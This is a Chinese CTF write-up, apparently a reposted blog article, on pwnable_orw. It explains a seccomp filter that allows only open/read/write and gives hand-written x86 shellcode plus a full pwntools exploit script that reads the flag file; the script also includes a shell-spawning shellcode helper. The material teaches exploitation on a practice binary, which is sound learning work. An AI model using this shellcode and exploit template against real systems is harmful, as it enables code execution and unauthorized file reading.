前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Pwn-手写汇编之pwnable_orw

Pwn-手写汇编之pwnable_orw

作者头像
偏有宸机
发布于 2021-04-19 09:48:03
发布于 2021-04-19 09:48:03
1.5K00
代码可运行
举报
文章被收录于专栏:宸机笔记宸机笔记
运行总次数:0
代码可运行

程序分析

checksec看到程序没有开启nx保护,即我们可以在栈中执行shellcode

第一眼看伪代码以为直接输入shellcode就可以反弹shell了,不曾想竟还有一个orw_seccomp搅屎棍从中阻拦

进到该函数看,重点在prctl函数的使用,根据我百度引经据典一番操作后了解到这两句的主要作用是

禁止程序提升权限,并且禁止除openwriteread函数外的系统调用使用

利用思路

既然无法直接调用system那我们就可以结合已有的条件来曲线救国,如:

使用open打开flag -> 再通过read函数将flag的内容读取到某地址中 -> 最后使用write函数打印出该地址的内容

然鹅,难点就在于我们要手写这段过程的汇编代码来读入程序中,具体系统调用方式可参考如下

函数名

EAX

E**BX**

ECX

EDX

Sys_read

0x03

Unsigned int

Void *buf

Size

Sys_write

0x04

Unsigned int

Void *buf

Size

Sys_open

0x05

Const char *

Int

int

之后开始编写我们第一个open("flag")过程的汇编:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
open_flag = asm("push 0;")
open_flag += asm("push "+hex_flag+";")
open_flag += asm("mov ebx,esp;")
open_flag += asm("xor ecx,ecx;")
open_flag += asm("xor edx,edx;")
open_flag += asm("mov eax,0x5;")
open_flag += asm("int 0x80;")

其中hex_flag是“flag”字符串转换为16进制后的小端模式(也就是反转一下)

第二个 read(3,bss_addr,0x100)的过程:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
read_flag = asm("mov ebx,0x3;")
read_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
read_flag += asm("mov edx,0x100;")
read_flag += asm("mov eax,0x3;")
read_flag += asm("int 0x80;")

第三个 write(1,bss_addr,0x100)的过程:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
write_flag = asm("mov ebx,0x1;")
write_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
write_flag += asm("mov edx,0x100;")
write_flag += asm("mov eax,0x4;")
write_flag += asm("int 0x80;")

最后拼接在一起即可完成利用

EXP

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
#      - RemPro()
#           - elf_addr
#           - libc_addr
#           - enable_Onegadgets
#      - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget 
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
    global sh,elf,libc,one_ggs
    elf_addr = "./pwnable_orw"                                   # 本地ELF
    libc_addr = "/lib/x86_64-linux-gnu/libc.so.6"       # Libc文件
    pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/64/libc.so.6"
    if len(sys.argv) > 2 :
        sh = remote(sys.argv[1],sys.argv[2])
        try:
            libc = ELF(pro_libc)
            libc_addr = pro_libc
        except:
            log.info("No set Remote_libc...")
            libc = ELF(libc_addr)
    else:
        libc = ELF(libc_addr)
        try:
            sh = remote(ip,port)
            libc = ELF(pro_libc)
            libc_addr = pro_libc
        except:
            sh = process(elf_addr)
    # one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
    one_ggs = one_gadget(libc_addr)
    elf = ELF(elf_addr)
    return 1

### 调试用
def debug(cmd=""):
    if len(sys.argv) <= 2:
        log.progress("Loading Debug....")
        gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
    if fw == 32:
        return asm(shellcraft.sh())
    elif fw == 64:
        return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
    log.progress("Leak One_Gadgets...")
    return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
    #one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
    bss_addr = elf.bss()+0x500
    success("bss_addr => 0x%x",bss_addr)
    binsh = "/bin/sh\x00"
    flag = "flag"
    hex_flag = ""
    hex_sh = ""
    for i in flag[::-1]:
            hex_flag += str(hex(ord(i)))
    for i in binsh[::-1]:
            hex_sh += str(hex(ord(i)))
    hex_flag = "0x"+hex_flag.replace("0x","")
    hex_sh = "0x"+hex_sh.replace("0x","")
    log.info("hex_flag => "+hex_flag)
    log.info("hex_sh => "+hex_sh)
    # debug("b *0x0804858A")
    open_flag = asm("push 0;")
    open_flag += asm("push "+hex_flag+";")
    open_flag += asm("mov ebx,esp;")
    open_flag += asm("xor ecx,ecx;")
    open_flag += asm("xor edx,edx;")
    open_flag += asm("mov eax,0x5;")
    open_flag += asm("int 0x80;")
    read_flag = asm("mov ebx,0x3;")
    read_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
    read_flag += asm("mov edx,0x100;")
    read_flag += asm("mov eax,0x3;")
    read_flag += asm("int 0x80;")
    write_flag = asm("mov ebx,0x1;")
    write_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
    write_flag += asm("mov edx,0x100;")
    write_flag += asm("mov eax,0x4;")
    write_flag += asm("int 0x80;")
    shellcode = open_flag+read_flag+write_flag

    sh.recvuntil("shellcode:")
    sh.sendline(shellcode)

    return sh
    
def exp_2():
    print "this is exp_2"

    
if __name__=="__main__":
    RemPro()
    if len(sys.argv) > 3 :
        eval(sys.argv[3])()
    elif (len(sys.argv)>1 and len(sys.argv)<3):
        eval(sys.argv[1])()
    else:
        exp()
    sh.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-04-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
[SCTF 2020] SCTF2020 PWN部分write up
这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..
赤道企鹅
2022/08/01
5330
Heap-Unsortedbin+越界写
存在system("cat flag")函数,且当控制 v3 为 4869同时控制 magic 大于 4869,就可以得到 flag 了
偏有宸机
2021/04/01
5890
Heap-Unsortedbin+越界写
Heap-babyfengshui_33c3_2016
在add函数中,是用于创建一个包含着name与text的user结构体,在创建时name由用户控制,而text却是统一的0x80大小。
偏有宸机
2021/04/19
7160
Heap-babyfengshui_33c3_2016
BUUCTF 刷题笔记——PWN 2
先验文件,本题文件为 32 为可执行文件,保护约等于没开。值得注意的是,该文件又是静态链接,因此又可以直接调用一些未被调用过的函数来解题,比如老朋友 mprotect() 函数。
h-t-m
2023/03/10
1.5K0
BUUCTF 刷题笔记——PWN 2
ROP Emporium writeup
在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了
yichen
2020/03/19
7080
ROP Emporium writeup
ROP的基本原理和实战教学,看这一篇就够了!
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。
Java程序猿
2023/02/21
3.4K0
rop emporium challenges wp
这个的话没有/bin/cat flag.txt字符串了,那么这就需要我们写到内存了
用户1423082
2024/12/31
420
[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
在read之前调用了close(1)来关闭stdout流,然后有一个裸的格式化字符串漏洞。由于stderr没有关闭,可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体,此时再调用printf函数时,就可以将内容从stderr流输出来。
赤道企鹅
2022/08/01
6950
[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
Pwn-EXP模板
EXP Template #coding:utf-8 import sys from pwn import * from one_gadget import generate_one_gadget # context.terminal = ["tmux","splitw","-h"] context.terminal = ["tmux","new-window"] context.log_level = "debug" ### 远程本地连接 def ProLoc(elf_addr,libc_addr,pr
偏有宸机
2020/10/16
2.7K1
Pwn-EXP模板
Heap-VN_SimpleHeap分析之realloc_hook劫持
在edit功能中存在一个sub_c39函数,由于是从0开始,假设a2为10的话,应当在i=a2时便break,所以存在off by one漏洞
偏有宸机
2020/11/04
9650
Heap-VN_SimpleHeap分析之realloc_hook劫持
ELF文件保护机制解读及绕过
可通过格式化字符串漏洞,泄漏栈上的内容,如__libc_start_main_ret地址,通过libc-database确定libc版本,查找libc中的Magic地址,修改某个后续会调用的函数的GOT表,getshell
tinyfisher
2019/11/20
1.3K0
高校战“疫”网络安全分享赛-部分PWN题-wp
周末打了下 《高校战“疫”网络安全分享赛》,作为WEB转PWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。
Gcow安全团队
2020/04/01
1.1K0
高校战“疫”网络安全分享赛-部分PWN题-wp
[pwnable.tw] Alive Note - 构造分段alpha_shellcode
程序Heap内存区域有执行权限,并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存,从而执行自定义shellcode。但是堆块输入限制非常大,只有8个字节,而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。
赤道企鹅
2022/08/01
3420
强网杯PWN WP
这次比赛总的来说体验还是很不错,baby_diary这个题虽然没有拿到前三血,但做题速度超过腾讯eee,星盟安全,长亭科技战队等。
i0gan
2021/06/26
2.1K0
Ropper:一款功能强大的代码文件搜索和处理工具
Ropper是一款功能强大的代码文件搜索和处理工具,该工具能够帮助广大研究人员以不同的文件格式显示有关文件的信息,并查找用于构建不同体系结构(x86/x86_64、ARM/ARM64、MIPS、PowerPC、SPARC64)的rop链的Gadget。
FB客服
2023/08/08
8460
Ropper:一款功能强大的代码文件搜索和处理工具
sctf_2019_easyheap 的两种解法
直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙
赤道企鹅
2022/08/01
2720
学习PWN一个月后能做什么?
原理 栈是一种后进先出的数据结构。在调用函数的时候,都会伴随着函数栈帧的开辟和还原(也称平栈)。栈结构示意图如下(以32位程序为例):
franket
2022/03/25
8130
[pwnable.tw] unexploitable - 利用微偏移在read库函数中找syscall gadget
这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget,需要另找别处。题目给了read和栈溢出,栈迁移是少不了的。考虑到GOT表可写,并且关于read的库实现有个可以利用的gadget:在read库函数起始位置+0xe的时候有一个syscall,并且只要返回值正常,后面会接上ret (重点!)。
赤道企鹅
2022/08/01
4740
[DASCTF 2021.03] Pwn方向完全writeup
周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。
赤道企鹅
2022/08/01
5430
Linux pwn入门学习到放弃
PWN是一个黑客语法的俚语词,自”own”这个字引申出来的,意为玩家在整个游戏对战中处在胜利的优势。本文记录菜鸟学习linux pwn入门的一些过程,详细介绍linux上的保护机制,分析一些常见漏洞如栈溢出,堆溢出,use after free等,以及一些常见工具介绍等。
FB客服
2020/09/22
3.9K0
Linux pwn入门学习到放弃
相关推荐
[SCTF 2020] SCTF2020 PWN部分write up
更多 >
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文